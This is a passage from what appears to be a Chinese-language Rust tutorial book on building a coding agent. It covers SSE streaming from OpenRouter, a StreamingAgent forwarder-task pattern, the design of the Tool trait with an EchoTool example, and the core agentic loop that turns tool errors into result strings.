#![allow(unused)]
fn main() {
impl crate::streaming::StreamProvider for OpenRouterProvider {
    async fn stream_chat(
        &self,
        messages: &[Message],
        tools: &[&ToolDefinition],
        tx: tokio::sync::mpsc::UnboundedSender<crate::streaming::StreamEvent>,
    ) -> anyhow::Result<AssistantTurn> {
        use crate::streaming::{StreamAccumulator, parse_sse_line};

        let body = ChatRequest {
            model: &self.model,
            messages: Self::convert_messages(messages),
            tools: Self::convert_tools(tools),
            stream: true,
        };

        let mut resp = self
            .client
            .post(format!("{}/chat/completions", self.base_url))
            .bearer_auth(&self.api_key)
            .json(&body)
            .send()
            .await
            .context("request failed")?
            .error_for_status()
            .context("API returned error status")?;

        let mut acc = StreamAccumulator::new();
        let mut buffer = String::new();

        while let Some(chunk) = resp.chunk().await.context("failed to read chunk")? {
            buffer.push_str(&String::from_utf8_lossy(&chunk));

            while let Some(newline_pos) = buffer.find('\n') {
                let line = buffer[..newline_pos].trim_end_matches('\r').to_string();
                buffer = buffer[newline_pos + 1..].to_string();

                if line.is_empty() {
                    continue;
                }

                if let Some(events) = parse_sse_line(&line) {
                    for event in events {
                        acc.feed(&event);
                        let _ = tx.send(event);
                    }
                }
            }
        }

        Ok(acc.finish())
    }
}
}

逐步解析:

  1. 同样的请求,stream: true API 返回分块 HTTP 响应,不是单个 JSON 体。请求构建和鉴权与非流式路径完全相同——这正是抽象的价值所在。
  2. 读取原始字节块。 resp.chunk() 返回 Option<Bytes>——HTTP 体以任意大小的片段到达,与 SSE 事件边界不对齐。一个 chunk 可能是半行、几行,或多个事件挤在一起。
  3. 缓冲并按换行符分割。 TCP 块可能在 SSE 行中间截断。buffer 积累原始文本,内层 while 循环提取完整行。经典的面向行协议解析——积累字节,行可用时消费。内层循环持续到缓冲区没有更多完整行,然后等待下一个块。
  4. 解析每行。 parse_sse_line(来自第 5a 章)把 data: 行转换为 StreamEvent。空行(SSE 事件分隔符)和非数据行(注释、keep-alive)返回 None 被跳过。
  5. 同时喂给 accumulator 和 channel。 对每个事件,accumulator 更新内部状态(构建最终的 AssistantTurn),channel 实时把同一个事件传给 UI。let _ = tx.send(event) 有意忽略发送错误:接收方已被 drop 时(如转发任务因主循环取消而退出),仍然要把流消费完,底层 HTTP 连接才能干净释放。
  6. 返回组装好的消息。 流结束(resp.chunk() 返回 None)后,accumulator 已收集所有内容,finish() 产生最终的 AssistantTurn。此时 tx 被 drop(函数返回),channel 关闭,向转发任务发出退出信号——这正是下面 StreamingAgent 所依赖的终止流程。

这种双路设计(accumulator + channel)正是 Claude Code 处理流式传输的方式。UI 在 token 到达时渲染,agent 循环看到的是干净、完整的响应——无需对部分状态做任何特殊处理。

你的任务

OpenRouterProvider 位于 src/providers/openrouter.rs。填写构造函数、转换辅助函数、Provider impl 和 StreamProvider impl。所需依赖(reqwestdotenvy)已在 Cargo.toml 中。


StreamingAgent

provider 层有了流式传输之后,需要一个能从中受益的 agent 循环。把 LLM 回复流入 provider 只有在文本到达用户终端时才有意义。这个接线工作就是 StreamingAgent

StreamingAgent 是第 3 章 SimpleAgent 的流式版本:

  • SimpleAgent::chat 调用 provider.chat(),返回完整的 AssistantTurn
  • StreamingAgent::chat 调用 provider.stream_chat()在 LLM 仍在生成时把文本增量转发到 UI channel,流结束后返回组装好的响应。

struct 和构建器与 SimpleAgent 完全相同:

#![allow(unused)]
fn main() {
pub struct StreamingAgent<P: StreamProvider> {
    provider: P,
    tools: ToolSet,
}

impl<P: StreamProvider> StreamingAgent<P> {
    pub fn new(provider: P) -> Self {
        Self { provider, tools: ToolSet::new() }
    }

    pub fn tool(mut self, t: impl Tool + 'static) -> Self {
        self.tools.push(t);
        self
    }

    pub async fn run(
        &self,
        prompt: &str,
        events: mpsc::UnboundedSender<AgentEvent>,
    ) -> anyhow::Result<String> {
        let mut messages = vec![Message::User(prompt.to_string())];
        self.chat(&mut messages, events).await
    }

    pub async fn chat(
        &self,
        messages: &mut Vec<Message>,
        events: mpsc::UnboundedSender<AgentEvent>,
    ) -> anyhow::Result<String> { /* ... */ }
}
}

run()chat() 的薄包装。真正的工作在 chat() 里,也是本章最微妙的一段代码。

两个 channel 及它们解决的问题

StreamingAgent::chat 坐落在两个词汇不同的 channel 之间:

  • 下游(provider → agent): provider 用 StreamEvent——原始流片段,包括 TextDeltaToolCallStartToolCallDeltaDone。这是流式 LLM 响应的全部底层语法。
  • 上游(agent → UI): UI 要的是 AgentEvent——agent 级别的通知:TextDelta 用于可显示的文本,ToolCall 表示工具开始运行,Done 表示整个对话结束,Error 表示出了问题。

StreamingAgent::chat 是翻译器。它需要:

  1. 给 provider 一个 StreamEvent channel,让 provider 向其发送增量。
  2. 并发地从该 channel 拉取,过滤 TextDelta,重新发送为 AgentEvent::TextDelta 到 UI channel——这一切都在 provider 仍在生成时进行。
  3. 等待 provider 返回组装好的 AssistantTurn
  4. 决策:轮次以 Stop 结束就发送 AgentEvent::Done 并返回;以 ToolUse 结束就每次调用发送 ToolCall 事件,运行工具,追加结果,循环。

关键词是第 2 步的并发。不能在 stream_chat 返回后再 recv() 事件——那时生成已经结束,UI 一直在等一个冻结的屏幕。需要独立任务在 provider 仍在写入时从流 channel 拉取。

转发任务模式

完整的 chat() 实现:

#![allow(unused)]
fn main() {
pub async fn chat(
    &self,
    messages: &mut Vec<Message>,
    events: mpsc::UnboundedSender<AgentEvent>,
) -> anyhow::Result<String> {
    let defs = self.tools.definitions();

    loop {
        // 1. Fresh stream channel for this turn.
        let (stream_tx, mut stream_rx) = mpsc::unbounded_channel();

        // 2. Spawn a forwarder task: drain stream_rx, relay TextDeltas to `events`.
        let events_clone = events.clone();
        let forwarder = tokio::spawn(async move {
            while let Some(event) = stream_rx.recv().await {
                if let StreamEvent::TextDelta(text) = event {
                    let _ = events_clone.send(AgentEvent::TextDelta(text));
                }
            }
        });

        // 3. Kick off generation. The provider writes StreamEvents into stream_tx.
        //    Dropping stream_tx here would close the channel early — so we pass it by value.
        let turn = match self.provider.stream_chat(messages, &defs, stream_tx).await {
            Ok(t) => t,
            Err(e) => {
                let _ = events.send(AgentEvent::Error(e.to_string()));
                return Err(e);
            }
        };

        // 4. stream_chat has returned → stream_tx was dropped → forwarder sees
        //    stream_rx closed → forwarder exits. Await it to propagate any panic
        //    and ensure all deltas are flushed before we emit downstream events.
        let _ = forwarder.await;

        // 5. Now handle the assembled turn: stop or another tool round.
        match turn.stop_reason {
            StopReason::Stop => {
                let text = turn.text.clone().unwrap_or_default();
                let _ = events.send(AgentEvent::Done(text.clone()));
                messages.push(Message::Assistant(turn));
                return Ok(text);
            }
            StopReason::ToolUse => {
                let mut results = Vec::with_capacity(turn.tool_calls.len());
                for call in &turn.tool_calls {
                    let _ = events.send(AgentEvent::ToolCall {
                        name: call.name.clone(),
                        summary: tool_summary(call),
                    });
                    let content = match self.tools.get(&call.name) {
                        Some(t) => t
                            .call(call.arguments.clone())
                            .await
                            .unwrap_or_else(|e| format!("error: {e}")),
                        None => format!("error: unknown tool `{}`", call.name),
                    };
                    results.push((call.id.clone(), content));
                }

                messages.push(Message::Assistant(turn));
                for (id, content) in results {
                    messages.push(Message::ToolResult { id, content });
                }
                // Loop: feed results back to the LLM.
            }
        }
    }
}
}

逐步解析:

  1. 每次循环迭代创建新的 channel。 每个轮次都创建新的 mpsc::unbounded_channel(),不能跨工具轮次复用——丢弃 stream_tx 是告知转发任务轮次结束的方式(见第 4 步)。保留同一个 channel,转发任务就永远不会退出。

  2. spawn 转发任务。 tokio::spawn 并发运行一个任务,在 stream_rx.recv().await 上循环,把 StreamEvent::TextDelta 过滤为 AgentEvent::TextDelta。其他内容被丢弃——ToolCallStart/ToolCallDelta/Done 不会以文本形式出现在 UI 中。把 events 发送方移入任务之前先克隆,因为转发任务退出后还需要原始的来发送 ToolCall/Done/Error

  3. 调用 stream_chat 并等待。 provider 现在向 stream_tx 写入 StreamEvent,转发任务在事件到达时拉取并把文本中继到 UI,当前任务阻塞在 stream_chat future 上。三个任务同时推进:HTTP 响应读取器、转发任务,以及(通过 channel)UI 渲染器。

  4. 等待转发任务。 stream_chat 返回时,其持有的 stream_tx 被 drop,channel 关闭,stream_rx.recv() 返回 None,结束转发任务的 while let 循环。等待 JoinHandle 做了两件事:确保转发任务在我们继续之前把每一个最后的增量刷新到 UI,并暴露转发任务可能遇到的 panic。忘记这个 await 是经典的"最后几个 token 丢失"bug。

  5. 根据 stop_reason 分发。 此时有了完整的 AssistantTurn,UI 也看到了每一个 TextDelta。模型完成了(Stop)就发送 AgentEvent::Done 并返回;需要工具(ToolUse)就每次调用发送 ToolCall 事件(UI 用这些显示"[bash: ls]"旋转图标),用与 SimpleAgent 相同的优雅错误处理运行每个工具,把结果追加到 messages,让 loop 继续——下一轮会 spawn 新的转发任务并调用 stream_chat

为什么不在主循环中直接 rx.recv()

单任务方式——"调用 stream_chat,然后排空 rx"——会死锁。stream_chat 在流被完全消费之前不返回;无界 channel 里充满了事件但没人读,provider 会一直写入(技术上可行,但轮次结束前什么都不渲染)。用有界 channel 会在 tx.send().await 处阻塞 provider,进而阻塞 stream_chat,永不返回。无论哪种方式,UI 都要等到轮次结束才能看到 token——流式传输就失去了意义。

转发任务模式把两端解耦:provider 的写入侧和 UI 的读取侧都能独立推进。

完整工作模式的端到端视图

下面把死锁修复后的流程完整画出来。四个 Rust 任务,三条关键边:provider 写入 tx,转发任务拉取 rx 并重新发送到 events,主循环等待 stream_chat 的返回值做控制流决策。终止完全依赖 drop:stream_chat 返回时 drop 掉 txrx.recv() 随后返回 None,转发任务循环退出,handle.await 解除阻塞。

sequenceDiagram
    participant M as Main loop
    participant F as Forwarder task
    participant P as stream_chat
    participant U as UI (events rx)

    M->>M: let (tx, rx) = mpsc::unbounded_channel::<StreamEvent>()
    M->>F: tokio::spawn(forwarder(rx, events))
    M->>P: provider.stream_chat(messages, tools, tx).await
    Note over P: holds the tx sender;<br/>writes events as they arrive
    P-->>F: tx.send(TextDelta) (many)
    F-->>U: events.send(AgentEvent::TextDelta)
    P-->>F: tx.send(ToolCallStart / Delta / Done)
    F-->>U: events.send(...)
    P-->>M: returns AssistantTurn (drops tx here)
    Note over F: rx.recv() now returns None,<br/>forwarder loop exits naturally
    F-->>M: JoinHandle resolves
    M->>M: match turn.stop_reason { Stop => ..., ToolUse => ... }

三个不变式保证这个模式正常运转:

  1. provider 拥有发送方。 只有 stream_chat 持有 tx——主循环将其交出后不保留克隆。stream_chat 返回时,最后一个 tx 被 drop,channel 关闭。
  2. 转发任务拥有接收方。 在独立 spawn 的任务中运行,接收方能在 stream_chat 仍在写入时推进,没有其他人调用 rx.recv()
  3. 主循环等待两者。 先等 stream_chat,再等转发任务的 JoinHandle。等待 handle 是防止主循环把未完成的转发任务泄漏到下一次 agent 循环迭代的关键。

三个不变式中任何一个被打破——主循环持有多余的 tx 克隆、转发任务在主任务上内联运行、或主循环跳过 handle 的 await——就会出现上述死锁的某个变体。所以这个模式值得认真学一次,以后每当需要把流式 I/O 桥接到逐步决策循环时,直接拿来用。

你的任务

src/streaming.rs 中填写 StreamingAgent::chat() 存根。四步配方:channel、转发任务、等待 stream_chat、等待转发任务。然后对 stop_reasonmatchSimpleAgent::chat 的形状相同。


运行测试

cargo test -p mini-claw-code-starter test_openrouter_
cargo test -p mini-claw-code-starter test_streaming_streaming_agent_
cargo test -p mini-claw-code-starter test_streaming_stream_chat_

这些测试验证的内容

test_openrouter_(OpenRouterProvider):

  • test_openrouter_convert_messages — 内部 Message 变体被转换为正确的 OpenAI API 格式
  • test_openrouter_convert_toolsToolDefinition 值被包裹在 OpenAI 函数调用信封中

test_streaming_streaming_agent_(StreamingAgent 对 MockStreamProvider 的端到端测试):

  • test_streaming_streaming_agent_text_response — 单轮文本响应;UI channel 至少看到一个 TextDelta 和一个 Done
  • test_streaming_streaming_agent_tool_loop — agent 运行一轮工具调用并产生最终答案;UI channel 看到 ToolCall 事件和 Done
  • test_streaming_streaming_agent_chat_historychat() 将最终的 assistant 轮次追加到调用方提供的 messages vec 中

test_streaming_stream_chat_(OpenRouter 流式传输对本地 TCP mock):

  • test_streaming_stream_chat_events_order — 脚本化的 SSE 体被解析为正确顺序的事件,组装好的 AssistantTurn 与预期匹配

关键要点

StreamingAgent 是第 5a 章一切投入的回报。provider 产生 StreamEvent,转发任务把它们在到达时翻译为 UI 级别的 AgentEvent,主循环等待组装好的 AssistantTurn 来决定下一步。token 实时到达终端;agent 循环仍然看到干净、完整的消息——无需对流式和非流式做特殊处理。

"把复杂流分成两个并发侧,用任务桥接"——这个模式正是 Claude Code 在渲染器中使用的。写过一次之后,每当需要把流式 I/O 与逐步决策混合,它就会随处出现。

第 6 章转向工具——agent 与外部世界接口的另一半。

自我检测


← 第 5a 章:Provider 与流式基础 · 目录 · 第 6 章:工具接口 →

第 6 章:工具接口

需要编辑的文件: 无。本章是 Tool trait 的概念性讲解。下方的 EchoTool 动手示例可以在练习文件里从头写,也可以在 Rust Playground 里试试;starter 里没有 echo.rs 桩,第 2 章test_read_* 测试也不受任何影响。 阅读用时: 25 分钟

目标

  • 理解为什么 Tool trait 用 #[async_trait](对象安全,支持异构存储),而 Provider 用 RPITIT(零开销泛型)。
  • 实现一个具体的 EchoTool,走完完整的工具生命周期:schema 定义、trait 实现、注册和执行。
  • 验证 ToolSet 能正确注册工具并向 LLM 返回其定义。

上一章我们接入了 LLM provider,给 agent 装上了嘴。但一个只会输出文字的模型,就像一个只谈代码、从不动键盘的程序员。本章给 agent 装上双手。

第 4 章已经定义了工具类型——ToolDefinitionTool trait 和 ToolSet。本章深入理解这些类型的设计理由,弄清 #[async_trait] 与 RPITIT 的关键区别,然后通过实现第一个具体工具 EchoTool 把所有内容串起来。

工具生命周期

flowchart LR
    A[Tool::new] -->|stores| B[ToolDefinition]
    B -->|registered in| C[ToolSet]
    C -->|definitions sent to| D[LLM]
    D -->|responds with| E[ToolCall]
    E -->|dispatched via| C
    C -->|lookup by name| F[Tool::call]
    F -->|returns| G[String result]
    G -->|wrapped as| H[Message::ToolResult]

设计背景:Claude Code 如何建模工具

Claude Code 的 TypeScript 代码库用泛型类型 Tool<Input, Output, Progress> 定义工具。每个工具带一个用于输入验证的 Zod schema,返回丰富的结构化输出(有时含用于终端渲染的 React 元素),还能在长时间运行时发出进度事件。生产环境有超过 40 个工具,每个都带权限元数据、cost hint 和 UI 集成。

我们保留其形态,但去掉繁琐仪式。Rust 版本:

Claude Code(TypeScript)mini-claw-code-starter(Rust)
Tool<Input, Output, Progress>trait Tool(无泛型)
Zod schema 用于输入验证serde_json::Value + builder
丰富的 ToolResult<T>anyhow::Result<String>
React 渲染进度(未实现)
40+ 个工具,带 Zod 验证5 个工具,带 JSON schema
isReadOnlyisDestructive(未实现——保持最简)

关键简化:去掉泛型参数和安全性/展示方法。Claude Code 需要 <Input, Output, Progress> 是因为每个工具有不同的强类型输入形态,并渲染不同的 UI。用 serde_json::Value 做输入、String 做输出,无需类型擦除魔法就能把异构工具存进同一个集合。

为什么有两种 async trait 风格?(#[async_trait] vs RPITIT)

这是类型系统里最重要的设计决策,值得深入理解。同样的权衡贯穿本书所有 async trait——ProviderToolStreamProviderHookSafetyCheck。读一遍本节就够;其他章节会链接回这里。

先看第 4 章的 Provider trait:

#![allow(unused)]
fn main() {
pub trait Provider: Send + Sync {
    fn chat<'a>(
        &'a self,
        messages: &'a [Message],
        tools: &'a [&'a ToolDefinition],
    ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send + 'a;
}
}

这里用的是 RPITIT(return-position impl Trait in traits),Rust 1.75 稳定的特性。编译器为每个实现生成唯一的 future 类型,零开销,不需要装箱。

但 RPITIT 有个限制:它让 trait 不具备对象安全性。无法写 Box<dyn Provider>,因为编译器在编译期需要知道具体的 future 类型。对于 provider 这没问题——用泛型参数(struct SimpleAgent<P: Provider>),具体类型始终已知。

工具不同。我们需要存储异构工具集合——BashToolReadToolWriteTool,全进同一个 HashMap。这需要 Box<dyn Tool>,进而需要对象安全性。对象安全性要求 async 方法返回已知类型,而非不透明的 impl Future

async-trait crate 的 #[async_trait] 宏解决了这个问题:把 async fn call(...) 改写为返回 Pin<Box<dyn Future<...> + Send + '_>> 的方法。装箱有小额开销(每次工具调用一次堆分配),但工具调用的 I/O 开销远大于此。

Provider: 泛型参数 P       -> RPITIT(零开销,不具备对象安全性)
Tool:     存储于 Box<dyn>  -> #[async_trait](装箱 future,具备对象安全性)

这种拆分是刻意的设计选择。如果 Rust 未来稳定 dyn async fn,可以完全放弃 async_trait。在此之前,双策略方式兼顾了两者的优点。

注意,第 5a 章MockProvider 实现里直接写了 async fn chat(...)。这是因为 Rust 1.75+ 允许在 trait 实现中用 async fn,即使 trait 签名用的是 RPITIT 形式,编译器会正确脱糖。Tool 实现也一样——写 async fn call(...)#[async_trait] 宏处理其余部分。

决策规则:下一个 trait 用哪种方案?

对任何新的 async trait,只问一个问题:"我需要把这个 trait 的不同具体类型存入同一个集合吗?"这一个问题决定一切:

                  你需要在某处使用 Box<dyn MyTrait> 吗?
                                 │
                 ┌──────────────┴───────────────┐
                 ▼                              ▼
               需要                            不需要
                 │                              │
                 ▼                              ▼
   #[async_trait::async_trait]          trait MyTrait {
   trait MyTrait: Send + Sync {            fn do_it(&self)
       async fn do_it(&self)                 -> impl Future<...> + Send;
         -> Result<...>;                  }
   }                                      // 调用者使用 `impl MyTrait` 或
   // 调用者使用 Box<dyn MyTrait>         // 泛型参数 `<T: MyTrait>`

倾向 #[async_trait] 的信号:

  • 需要 Vec<Box<dyn MyTrait>>HashMap<K, Box<dyn MyTrait>> 或类似的运行时异构容器。(ToolSet 正是这样做的。)
  • 需要从函数中返回 Box<dyn MyTrait>,调用者不需要知道具体类型。
  • 希望用户能在运行时插入新实现(比如动态注册表或插件系统)。

倾向 RPITIT 的信号:

  • 每个调用者在编译期都知道具体实现。SimpleAgent<P: Provider> 这样的结构体对每个 provider 只单态化一次。
  • 吞吐量足够重要,不想为每次调用承担一次装箱 future 的分配开销。
  • trait 有很多 async 方法,不希望 async_trait 在每个方法上都插一个 Box

本书定义的每个 trait 都恰好落在某一侧:Provider / StreamProvider / SafetyCheck 通过泛型参数单态化(RPITIT);Tool / HookHandler / InputHandlerBox<dyn _> 存储于异构集合(#[async_trait])。在自己的扩展中新增 trait 时,按上述问题走一遍,不用再纠结了。

为什么工具错误永远不会终止 agent

工具失败不等于 agent 失败。如果 LLM 请求读取一个不存在的文件,正确的行为是告诉它 "error: file not found",让它自行恢复——换条路径、问用户,或者继续前进。如果真正的 Err(...) 逃逸到 agent 循环顶层,就会终止对话,几乎从来不是我们想要的结果。

这种行为依赖 Tool 实现与 agent 循环之间的约定:

  1. 工具返回 anyhow::Result<String>。失败时用 bail!("原因")? 传播(context.read_to_string(...).with_context(|| ...)?)。第 9 章的文件工具里大量用到 bail!
  2. agent 循环.unwrap_or_else(|e| format!("error: {e}")) 捕获工具错误,再把结果打包为 Message::ToolResult。LLM 始终收到字符串——要么是成功输出,要么是格式化后的错误。

所以在工具内部写的是惯用 Rust(?bail!anyhow::Context);从 LLM 的视角看,每种结果都是字符串。真正会逃逸 agent 循环的,只有确实不可恢复的情况——与 provider 通信的网络故障、序列化 bug、panic——这些都不该由工具实现自身产生。

第 14 章会看到一个小变体:SafeToolWrapper 直接捕获安全检查错误并返回 Ok("error: safety check failed: ..."),而不是让错误继续传播。效果等价(agent 循环本来也会以同样方式格式化 Err),但作为前置过滤器时,能让包装器的错误处理保持自包含。

动手实践:构建 EchoTool

实现第一个具体工具。我们来写个最简化的 EchoTool,接收 text 参数并原样返回。这涵盖完整的生命周期:定义 schema、实现 trait、注册到 ToolSet

第 1 步:结构体与定义

#![allow(unused)]
fn main() {
struct EchoTool {
    def: ToolDefinition,
}

impl EchoTool {
    fn new() -> Self {
        Self {
            def: ToolDefinition::new("echo", "Echo the input")
                .param("text", "string", "Text to echo", true),
        }
    }
}
}

ToolDefinition 在构造函数里创建一次,作为字段存储。schema 告诉 LLM:"这个工具叫 echo,接收一个名为 text 的必填字符串参数。"

第 2 步:实现 Tool trait

#![allow(unused)]
fn main() {
#[async_trait::async_trait]
impl Tool for EchoTool {
    fn definition(&self) -> &ToolDefinition {
        &self.def
    }

    async fn call(&self, args: Value) -> anyhow::Result<String> {
        let text = args["text"].as_str().unwrap_or("(no text)");
        Ok(text.to_string())
    }
}
}

几点说明:

  • definition() 返回对存储的 ToolDefinition 的引用。
  • call() 从 JSON args 里提取 text。如果键不存在或不是字符串,回退到 "(no text)" 而非 panic。对 LLM 提供的参数始终保持防御性。
  • call() 返回 anyhow::Result<String>——普通字符串,不是 ToolResult 结构体。starter 保持工具输出简单。
  • 只有两个必须实现的方法。没有安全标志、没有验证、没有摘要——starter 的 Tool trait 是最简化的。

第 3 步:注册与使用

#![allow(unused)]
fn main() {
let tools = ToolSet::new().with(EchoTool::new());

// agent 循环会这样做:
let defs = tools.definitions();
// ... 将 defs 发送给 LLM,得到一个 ToolCall ...

let tool = tools.get("echo").unwrap();
let result = tool.call(serde_json::json!({"text": "hello"})).await?;
assert_eq!(result, "hello");
}

完整的往返流程:定义发给 LLM,LLM 生成 ToolCall,按名称查找工具,调用它,把结果返回。

最简 trait

starter 的 Tool trait 只有两个必须实现的方法:

方法用途
definition()返回工具的 JSON Schema 描述
call()执行工具并返回字符串结果

没有默认方法、没有安全标志、没有验证钩子。这是有意为之——starter 保持简单,让你专注于 agent 循环机制。Claude Code 真实的工具系统加了 is_read_only()is_destructive()validate_input() 等,但构建可运行的 agent 不需要这些。

与 Claude Code 的对比

Claude Code 的工具系统规模大得多:

  • 40+ 个工具,涵盖文件操作、git、搜索、浏览器、notebook、MCP 等。我们实现 5 个。
  • Zod schema 提供运行时验证与 TypeScript 类型推断。我们用带 builder 的 serde_json::Value
  • React 渲染——工具可以返回 React 元素,在终端渲染丰富的 UI(diff、表格、进度条)。我们返回纯字符串。
  • 进度事件——工具在执行过程中发出类型化的进度事件。我们有 activity_description() 用于简单的 spinner。
  • 工具分组与权限——工具按权限分组,带有允许/拒绝列表。第 13 章会构建权限系统,但会更简单。
  • cost hint——工具可以声明预估的 token 开销,帮助 context manager 做决策。第 4 章的 TokenUsage 类型在消息层面追踪 token,但不在单个工具上携带 cost hint。

尽管有这些差异,核心协议是相同的:LLM 看到工具 schema,决定调用某个,agent 执行它,结果返回给 LLM。其他一切——验证、权限、进度、渲染——都是围绕这个循环的编排。理解 Tool trait 就理解了 Claude Code 完整系统的基础。

实现说明

本章无需创建新的源文件。EchoTool 只存在于测试文件(src/tests/ch3.rs)中。任务是验证第 4 章构建的类型——ToolToolDefinitionToolSet——能与具体工具实现正确协作。test_read_ 测试通过,类型定义就是正确的。

运行测试

cargo test -p mini-claw-code-starter test_read_

测试验证内容

  • test_read_read_definition —— ReadTool 从其 ToolDefinition 生成正确的名称和非空描述,且 "path" 参数是必填项
  • test_read_read_file —— 以有效路径调用时返回文件内容,验证参数提取和返回值
  • test_read_read_missing_file —— 以不存在的路径调用时返回错误
  • test_read_read_missing_arg —— 不带参数调用时返回错误

核心要点

Tool trait 刻意保持最简——只有 definition()call()。每个工具,从简单的 echo 到复杂的 bash 执行器,都实现同一个两方法接口。agent 循环不需要知道工具做什么,只需按名称查找并调用它。

小结

本章聚焦于第 4 章定义的工具类型背后的原因

  • #[async_trait] vs RPITIT —— 关键区别。工具需要对象安全性以支持异构存储;provider 需要零开销泛型。双策略方式兼顾两者。
  • 工具错误永远不会终止 agent —— 工具用 bail!? 以惯用 Rust 方式编写;agent 循环用 .unwrap_or_else 将错误转换为字符串,LLM 读取后做出调整。
  • EchoTool —— 第一个具体工具,演示完整生命周期:schema 定义、trait 实现、注册、执行。

下一章构建 SimpleAgent——把 provider 和工具连成可运行 agent 的循环。

自测


← 第 5b 章:OpenRouter 与 StreamingAgent · 目录 · 第 7 章:Agentic 循环(深度解析)→

第 7 章:Agentic 循环(深度解析)

需要编辑的文件: src/agent.rs —— 本章只有 run_with_history 桩是新内容。single_turnexecute_toolschat 已在第 3 章中实现;本章是对你已经构建的循环的深度讲解,加上一个发出事件的薄层新变体。 需要运行的测试: 第 3 章的测试同样适用(cargo test -p mini-claw-code-starter test_single_turn_cargo test -p mini-claw-code-starter test_simple_agent_);starter 中没有专门针对 run_with_history 的测试——通过运行第 5b 章中的示例并观察事件流来手动验证。 预计用时: 45 分钟

目标

  • 带着细致的控制流、消息顺序和边界情况分析,重新审视第 3 章SimpleAgent::chat。不是重新实现它——而是理解你已经写下的代码。
  • 重新审视 execute_tools,弄清楚工具错误为何变成结果字符串而非继续传播——理由与第 6 章解释的约定紧密相连。
  • 实现唯一新的部分:run_with_history——主循环的事件发出变体,每轮结束后通过 channel 发送一个 AgentEvent,供后续章节构建的 UI 层观察进度。
  • 理解消息顺序:为什么 Message::Assistant 必须在对应的 Message::ToolResult 之前入队。

这是一切融会贯通的章节。

前几章构建了词汇(消息)、嘴巴(provider)和双手(工具)。现在来构建大脑——将它们全部串联起来的循环。SimpleAgent 是编码 agent 的核心。它接收用户提示,与 LLM 对话,执行工具,将结果反馈回去,持续运转直到任务完成。

每个编码 agent——Claude Code、Cursor、Aider、OpenCode——都有某种版本的这个循环。细节各异(流式、权限、压缩),骨架是相同的。把这个做对,你就有了可运行的 agent。本书后续的一切都是在此之上的精化。

SimpleAgent 做什么

用一句话概括完整的 agent 生命周期:提示 LLM,检查它是否想使用工具,执行这些工具,将结果返回,重复,直到 LLM 表示完成。

就这些。SimpleAgent 实现这个循环。它拥有三样东西:

  1. 一个 provider —— LLM 后端(来自第 5a 章 / 5b 章
  2. 一个工具集 —— 已注册的工具(来自第 6 章)
  3. 一个 config —— 安全限制与行为开关
flowchart TD
    A[User prompt] --> B[SimpleAgent::chat]
    B --> C[Provider.chat]
    C --> D{StopReason?}
    D -->|Stop| E[Return final text]
    D -->|ToolUse| F[execute_tools]
    F --> G[Push Message::Assistant]
    G --> H[Push Message::ToolResult for each result]
    H --> C

读过 Claude Code 源码的话,这对应于 query engine 和 query 函数。我们的版本剥离了流式、权限、钩子和压缩——这些留到后续章节——只保留纯粹的控制流。

SimpleAgent 结构体

starter 的 SimpleAgent 比生产引擎更精简——没有 config 结构体、没有最大轮次限制、没有截断。只有 provider 和工具:

#![allow(unused)]
fn main() {
pub struct SimpleAgent<P: Provider> {
    provider: P,
    tools: ToolSet,
}
}

泛型参数 P: Provider,让同一个 agent 在生产环境中与 OpenRouterProvider 协同,在测试中与 MockProvider 协同。builder 模式让配置很流畅:

#![allow(unused)]
fn main() {
let agent = SimpleAgent::new(provider)
    .tool(BashTool::new())
    .tool(ReadTool::new())
    .tool(WriteTool::new());
}

没有意外。有趣的部分在于实际运行的方法。

execute_tools:工具调度辅助函数

处理主循环之前,先需要一个辅助函数,接受来自 LLM 的 ToolCall 切片并生成结果。这就是 execute_tools

#![allow(unused)]
fn main() {
async fn execute_tools(&self, calls: &[ToolCall]) -> Vec<(String, String)> {
    let mut results = Vec::with_capacity(calls.len());
    for call in calls {
        let result = match self.tools.get(&call.name) {
            Some(t) => {
                t.call(call.arguments.clone())
                    .await
                    .unwrap_or_else(|e| format!("error: {e}"))
            }
            None => format!("error: unknown tool `{}`", call.name),
        };
        results.push((call.id.clone(), result));
    }
    results
}
}

两个阶段:

  1. 工具查找 —— 如果 LLM 幻觉出一个不存在的工具名称,返回错误字符串。模型看到 "error: unknown tool \foo`"` 后可以恢复。这种情况比你想象的更常见,尤其是较小的模型。

  2. 执行 —— 运行工具。如果失败,.unwrap_or_else(|e| format!("error: {e}")) 将错误转换为模型可读的字符串。

注意返回类型:Vec<(String, String)> —— (调用 ID, 结果字符串) 的对儿。没有 ToolResult 结构体、没有截断、没有验证。starter 保持简单。

关键设计决策:工具错误变成结果,而非 panic。agent 循环不会因工具失败而崩溃。模型读取错误,调整方法,再试一次。

chat() 方法:核心循环

就是这里。Agentic 循环。仔细读——比你预期的要短。

#![allow(unused)]
fn main() {
pub async fn chat(&self, messages: &mut Vec<Message>) -> anyhow::Result<String> {
    let defs = self.tools.definitions();

    loop {
        let turn = self.provider.chat(messages, &defs).await?;

        match turn.stop_reason {
            StopReason::Stop => {
                let text = turn.text.clone().unwrap_or_default();
                messages.push(Message::Assistant(turn));
                return Ok(text);
            }
            StopReason::ToolUse => {
                let results = self.execute_tools(&turn.tool_calls).await;
                messages.push(Message::Assistant(turn));
                for (id, content) in results {
                    messages.push(Message::ToolResult { id, content });
                }
            }
        }
    }
}
}

逐一拆解。

工具定义:只收集一次

#![allow(unused)]
fn main() {
let defs = self.tools.definitions();
}

在循环外收集工具定义。迭代之间它们不会改变——工具集在 agent 的生命周期内是固定的。每次调用 provider.chat() 都包含这些定义,让 LLM 知道哪些工具可用。

调用 provider

#![allow(unused)]
fn main() {
let turn = self.provider.chat(messages, &defs).await?;
}

将完整的消息历史和工具定义发送给 LLM。? 将 provider 错误(网络故障、认证错误、限流)直接传播给调用者。provider 错误对 agent 循环来说不可恢复——需要人工干预。

匹配停止原因

#![allow(unused)]
fn main() {
match turn.stop_reason {
    StopReason::Stop => { /* 最终答案 */ }
    StopReason::ToolUse => { /* 工具调度 */ }
}
}

LLM 告诉我们它为什么停止生成。两种可能:

  • Stop —— 模型完成了,有最终的文字答案。提取它,将 assistant 消息推入历史,返回。
  • ToolUse —— 模型想使用工具,在 tool_calls 里填了一个或多个调用。执行它们,推入结果,循环。

两个分支

StopReason::Stop —— 克隆文本,将 assistant 消息推入历史,返回。对话以 Assistant 消息结束,为下一轮用户输入做好准备。

StopReason::ToolUse —— 执行工具,然后按以下确切顺序推入消息:

  1. 首先Message::Assistant(turn) —— assistant 的响应,包含其工具调用
  2. 然后,为每个工具结果推入 Message::ToolResult { id, content }

